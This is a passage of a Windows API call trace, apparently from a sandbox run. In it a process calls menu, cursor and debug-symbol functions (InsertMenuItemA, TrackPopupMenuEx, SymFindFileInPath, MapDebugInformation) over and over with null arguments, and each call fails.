fByPosition=0, lpmi=0x19fa20) returned 0 [0185.580] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.580] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.580] GetLastError () returned 0x579 [0185.580] SetLastError (dwErrCode=0x579) [0185.580] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.581] SymCleanup (hProcess=0x0) returned 0 [0185.581] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.581] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.581] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.581] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1336, param_4=613, param_5=0x0, param_6=0x0) returned 0 [0185.581] GetLastError () returned 0x579 [0185.581] SetLastError (dwErrCode=0x579) [0185.581] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.581] SymCleanup (hProcess=0x0) returned 0 [0185.581] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.581] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.581] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.581] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1264, param_4=764, param_5=0x0, param_6=0x0) returned 0 [0185.581] GetLastError () returned 0x579 [0185.581] SetLastError (dwErrCode=0x579) [0185.581] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.581] SymCleanup (hProcess=0x0) returned 0 [0185.581] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.581] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.581] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.581] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.581] GetLastError () returned 0x579 [0185.581] SetLastError (dwErrCode=0x579) [0185.581] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.581] SymCleanup (hProcess=0x0) returned 0 [0185.582] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.582] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.582] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.582] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=615, param_5=0x0, param_6=0x0) returned 0 [0185.582] GetLastError () returned 0x579 [0185.582] SetLastError (dwErrCode=0x579) [0185.582] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.582] SymCleanup (hProcess=0x0) returned 0 [0185.582] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.582] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.582] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.582] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.582] GetLastError () returned 0x579 [0185.582] SetLastError (dwErrCode=0x579) [0185.582] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.582] SymCleanup (hProcess=0x0) returned 0 [0185.582] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.582] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.582] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.582] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1332, param_4=611, param_5=0x0, param_6=0x0) returned 0 [0185.591] GetLastError () returned 0x579 [0185.591] SetLastError (dwErrCode=0x579) [0185.591] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.591] SymCleanup (hProcess=0x0) returned 0 [0185.591] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.591] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.591] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.591] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=854, param_4=408, param_5=0x0, param_6=0x0) returned 0 [0185.591] GetLastError () returned 0x579 [0185.591] SetLastError (dwErrCode=0x579) [0185.591] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.591] SymCleanup (hProcess=0x0) returned 0 [0185.591] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.591] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.591] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.592] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.592] GetLastError () returned 0x579 [0185.592] SetLastError (dwErrCode=0x579) [0185.592] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.592] SymCleanup (hProcess=0x0) returned 0 [0185.592] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.592] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.592] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.592] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1337, param_4=611, param_5=0x0, param_6=0x0) returned 0 [0185.592] GetLastError () returned 0x579 [0185.592] SetLastError (dwErrCode=0x579) [0185.592] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.592] SymCleanup (hProcess=0x0) returned 0 [0185.592] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.592] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.592] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.592] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.592] GetLastError () returned 0x579 [0185.592] SetLastError (dwErrCode=0x579) [0185.592] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.592] SymCleanup (hProcess=0x0) returned 0 [0185.592] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.592] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.592] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.593] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1337, param_4=613, param_5=0x0, param_6=0x0) returned 0 [0185.593] GetLastError () returned 0x579 [0185.593] SetLastError (dwErrCode=0x579) [0185.593] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.593] SymCleanup (hProcess=0x0) returned 0 [0185.593] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.593] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.593] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.593] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=240, param_4=653, param_5=0x0, param_6=0x0) returned 0 [0185.593] GetLastError () returned 0x579 [0185.593] SetLastError (dwErrCode=0x579) [0185.593] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.593] SymCleanup (hProcess=0x0) returned 0 [0185.593] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.593] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.593] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.593] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.593] GetLastError () returned 0x579 [0185.593] SetLastError (dwErrCode=0x579) [0185.593] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.593] SymCleanup (hProcess=0x0) returned 0 [0185.593] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.593] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.593] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.593] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1333, param_4=609, param_5=0x0, param_6=0x0) returned 0 [0185.594] GetLastError () returned 0x579 [0185.594] SetLastError (dwErrCode=0x579) [0185.594] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.594] SymCleanup (hProcess=0x0) returned 0 [0185.594] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.594] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.594] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.594] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.594] GetLastError () returned 0x579 [0185.594] SetLastError (dwErrCode=0x579) [0185.594] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.594] SymCleanup (hProcess=0x0) returned 0 [0185.594] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.594] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.594] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.594] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1332, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.594] GetLastError () returned 0x579 [0185.594] SetLastError (dwErrCode=0x579) [0185.594] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.594] SymCleanup (hProcess=0x0) returned 0 [0185.594] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.594] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.594] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.594] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=777, param_4=518, param_5=0x0, param_6=0x0) returned 0 [0185.595] GetLastError () returned 0x579 [0185.595] SetLastError (dwErrCode=0x579) [0185.595] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.595] SymCleanup (hProcess=0x0) returned 0 [0185.595] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.595] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.595] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.595] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.595] GetLastError () returned 0x579 [0185.595] SetLastError (dwErrCode=0x579) [0185.595] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.595] SymCleanup (hProcess=0x0) returned 0 [0185.595] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.595] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.595] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.595] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=615, param_5=0x0, param_6=0x0) returned 0 [0185.595] GetLastError () returned 0x579 [0185.595] SetLastError (dwErrCode=0x579) [0185.595] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.595] SymCleanup (hProcess=0x0) returned 0 [0185.595] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.595] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.595] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.595] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.595] GetLastError () returned 0x579 [0185.596] SetLastError (dwErrCode=0x579) [0185.596] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.596] SymCleanup (hProcess=0x0) returned 0 [0185.596] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.596] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.596] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.596] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1335, param_4=610, param_5=0x0, param_6=0x0) returned 0 [0185.596] GetLastError () returned 0x579 [0185.596] SetLastError (dwErrCode=0x579) [0185.596] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.596] SymCleanup (hProcess=0x0) returned 0 [0185.596] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.596] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.596] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.596] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=461, param_4=74, param_5=0x0, param_6=0x0) returned 0 [0185.596] GetLastError () returned 0x579 [0185.596] SetLastError (dwErrCode=0x579) [0185.596] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.596] SymCleanup (hProcess=0x0) returned 0 [0185.596] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.596] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.596] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.596] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.596] GetLastError () returned 0x579 [0185.597] SetLastError (dwErrCode=0x579) [0185.597] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.597] SymCleanup (hProcess=0x0) returned 0 [0185.597] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.597] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.597] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.597] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1333, param_4=614, param_5=0x0, param_6=0x0) returned 0 [0185.597] GetLastError () returned 0x579 [0185.597] SetLastError (dwErrCode=0x579) [0185.597] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.597] SymCleanup (hProcess=0x0) returned 0 [0185.597] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.597] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.597] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.597] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.597] GetLastError () returned 0x579 [0185.597] SetLastError (dwErrCode=0x579) [0185.597] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.597] SymCleanup (hProcess=0x0) returned 0 [0185.597] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.597] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.597] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.597] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=611, param_5=0x0, param_6=0x0) returned 0 [0185.597] GetLastError () returned 0x579 [0185.598] SetLastError (dwErrCode=0x579) [0185.598] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.598] SymCleanup (hProcess=0x0) returned 0 [0185.598] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.598] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.598] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.598] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=29, param_4=895, param_5=0x0, param_6=0x0) returned 0 [0185.598] GetLastError () returned 0x579 [0185.598] SetLastError (dwErrCode=0x579) [0185.598] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.598] SymCleanup (hProcess=0x0) returned 0 [0185.598] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.598] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.598] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.598] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.598] GetLastError () returned 0x579 [0185.599] SetLastError (dwErrCode=0x579) [0185.599] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.599] SymCleanup (hProcess=0x0) returned 0 [0185.599] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.599] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.599] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.599] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1335, param_4=613, param_5=0x0, param_6=0x0) returned 0 [0185.599] GetLastError () returned 0x579 [0185.599] SetLastError (dwErrCode=0x579) [0185.599] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.599] SymCleanup (hProcess=0x0) returned 0 [0185.599] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.599] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.599] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.599] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.599] GetLastError () returned 0x579 [0185.599] SetLastError (dwErrCode=0x579) [0185.599] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.599] SymCleanup (hProcess=0x0) returned 0 [0185.599] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.599] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.599] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.599] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1332, param_4=613, param_5=0x0, param_6=0x0) returned 0 [0185.599] GetLastError () returned 0x579 [0185.599] SetLastError (dwErrCode=0x579) [0185.600] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.600] SymCleanup (hProcess=0x0) returned 0 [0185.600] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.600] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.600] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.600] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1209, param_4=676, param_5=0x0, param_6=0x0) returned 0 [0185.600] GetLastError () returned 0x579 [0185.600] SetLastError (dwErrCode=0x579) [0185.600] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.600] SymCleanup (hProcess=0x0) returned 0 [0185.600] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.600] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.600] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.600] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.600] GetLastError () returned 0x579 [0185.600] SetLastError (dwErrCode=0x579) [0185.600] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.600] SymCleanup (hProcess=0x0) returned 0 [0185.600] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.600] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.600] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.600] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1333, param_4=614, param_5=0x0, param_6=0x0) returned 0 [0185.600] GetLastError () returned 0x579 [0185.600] SetLastError (dwErrCode=0x579) [0185.601] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0185.601] SymCleanup (hProcess=0x0) returned 0 [0185.601] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0185.601] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0185.601] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=1334, y=612)) returned 1 [0185.601] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1334, param_4=612, param_5=0x0, param_6=0x0) returned 0 [0185.601] GetLastError () 